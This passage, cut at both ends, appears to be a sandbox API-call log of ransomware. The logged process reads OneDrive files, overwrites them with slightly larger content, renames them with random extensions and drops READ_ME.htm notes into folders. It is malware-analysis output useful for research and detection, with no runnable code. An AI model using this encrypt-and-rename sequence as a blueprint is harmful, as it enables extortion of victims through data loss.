lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml", lpFilePart=0x0) returned 0x54 [0145.071] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml.xu45my", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml.xu45my", lpFilePart=0x0) returned 0x5b [0145.071] SetErrorMode (uMode=0x1) returned 0x0 [0145.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\exclusionlist.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe925edb0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe925edb0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x52f5a340, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4e60)) returned 1 [0145.071] SetErrorMode (uMode=0x0) returned 0x1 [0145.071] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\exclusionlist.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ExclusionList.xml.xu45my" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\exclusionlist.xml.xu45my")) returned 1 [0145.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", lpFilePart=0x0) returned 0x55 [0145.074] SetErrorMode (uMode=0x1) returned 0x0 [0145.074] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotlogo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.075] GetFileType (hFile=0x1d0) returned 0x1 [0145.075] SetErrorMode (uMode=0x0) returned 0x1 [0145.075] GetFileType (hFile=0x1d0) returned 0x1 [0145.075] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x124b [0145.075] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a09100, nNumberOfBytesToRead=0x124b, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x2a09100*, lpNumberOfBytesRead=0x21d1d8*=0x124b, lpOverlapped=0x0) returned 1 [0145.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", lpFilePart=0x0) returned 0x55 [0145.155] SetErrorMode (uMode=0x1) returned 0x0 [0145.155] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotlogo.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.156] GetFileType (hFile=0x1d0) returned 0x1 [0145.156] SetErrorMode (uMode=0x0) returned 0x1 [0145.156] GetFileType (hFile=0x1d0) returned 0x1 [0145.156] WriteFile (in: hFile=0x1d0, lpBuffer=0x28efea0*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x28efea0*, lpNumberOfBytesWritten=0x21d258*=0x1250, lpOverlapped=0x0) returned 1 [0145.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png", lpFilePart=0x0) returned 0x55 [0145.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png.oqlru5", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png.oqlru5", lpFilePart=0x0) returned 0x5c [0145.159] SetErrorMode (uMode=0x1) returned 0x0 [0145.159] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotlogo.png"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe97219b0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe97219b0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x53018a20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1250)) returned 1 [0145.159] SetErrorMode (uMode=0x0) returned 0x1 [0145.159] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotlogo.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotLogo.png.oqlru5" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotlogo.png.oqlru5")) returned 1 [0145.160] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", lpFilePart=0x0) returned 0x56 [0145.160] SetErrorMode (uMode=0x1) returned 0x0 [0145.160] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotoptin.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.162] GetFileType (hFile=0x1d0) returned 0x1 [0145.162] SetErrorMode (uMode=0x0) returned 0x1 [0145.162] GetFileType (hFile=0x1d0) returned 0x1 [0145.162] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x6c00a [0145.167] ReadFile (in: hFile=0x1d0, lpBuffer=0x1281e4d0, nNumberOfBytesToRead=0x6c00a, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x1281e4d0*, lpNumberOfBytesRead=0x21d1d8*=0x6c00a, lpOverlapped=0x0) returned 1 [0145.229] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", lpFilePart=0x0) returned 0x56 [0145.229] SetErrorMode (uMode=0x1) returned 0x0 [0145.229] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotoptin.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0145.234] GetFileType (hFile=0x1d0) returned 0x1 [0145.234] SetErrorMode (uMode=0x0) returned 0x1 [0145.235] GetFileType (hFile=0x1d0) returned 0x1 [0145.235] WriteFile (in: hFile=0x1d0, lpBuffer=0x12bdb868*, nNumberOfBytesToWrite=0x6c010, lpNumberOfBytesWritten=0x21d258, lpOverlapped=0x0 | out: lpBuffer=0x12bdb868*, lpNumberOfBytesWritten=0x21d258*=0x6c010, lpOverlapped=0x0) returned 1 [0145.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png", lpFilePart=0x0) returned 0x56 [0145.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png.sbbua0", nBufferLength=0x105, lpBuffer=0x21cf30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png.sbbua0", lpFilePart=0x0) returned 0x5d [0145.251] SetErrorMode (uMode=0x1) returned 0x0 [0145.252] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotoptin.png"), fInfoLevelId=0x0, lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe98eaa30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe98eaa30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x530fd260, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6c010)) returned 1 [0145.252] SetErrorMode (uMode=0x0) returned 0x1 [0145.252] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotoptin.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ScreenshotOptIn.png.sbbua0" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\screenshotoptin.png.sbbua0")) returned 1 [0145.253] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af", lpFilePart=0x0) returned 0x45 [0145.253] SetErrorMode (uMode=0x1) returned 0x0 [0145.253] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\af\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.256] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.256] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.256] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.256] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.257] SetErrorMode (uMode=0x0) returned 0x1 [0145.257] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af", lpFilePart=0x0) returned 0x45 [0145.257] SetErrorMode (uMode=0x1) returned 0x0 [0145.257] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\af\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea64e5f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.258] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.258] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea77f0f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea77f0f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.258] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.258] SetErrorMode (uMode=0x0) returned 0x1 [0145.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.258] SetErrorMode (uMode=0x1) returned 0x0 [0145.258] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\af\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\af\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.260] GetFileType (hFile=0x1d0) returned 0x1 [0145.260] SetErrorMode (uMode=0x0) returned 0x1 [0145.260] GetFileType (hFile=0x1d0) returned 0x1 [0145.260] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d84a8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29d84a8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.264] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et", lpFilePart=0x0) returned 0x48 [0145.264] SetErrorMode (uMode=0x1) returned 0x0 [0145.265] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\am-et\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.267] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.267] SetErrorMode (uMode=0x0) returned 0x1 [0145.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et", lpFilePart=0x0) returned 0x48 [0145.267] SetErrorMode (uMode=0x1) returned 0x0 [0145.268] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\am-et\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea77f0f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea922010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xea922010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xea922010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.268] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.269] SetErrorMode (uMode=0x0) returned 0x1 [0145.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.269] SetErrorMode (uMode=0x1) returned 0x0 [0145.269] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\am-et\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\am-et\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.270] GetFileType (hFile=0x1d0) returned 0x1 [0145.270] SetErrorMode (uMode=0x0) returned 0x1 [0145.270] GetFileType (hFile=0x1d0) returned 0x1 [0145.270] WriteFile (in: hFile=0x1d0, lpBuffer=0x29deb10*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29deb10*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.271] GetFullPathNameW (in: 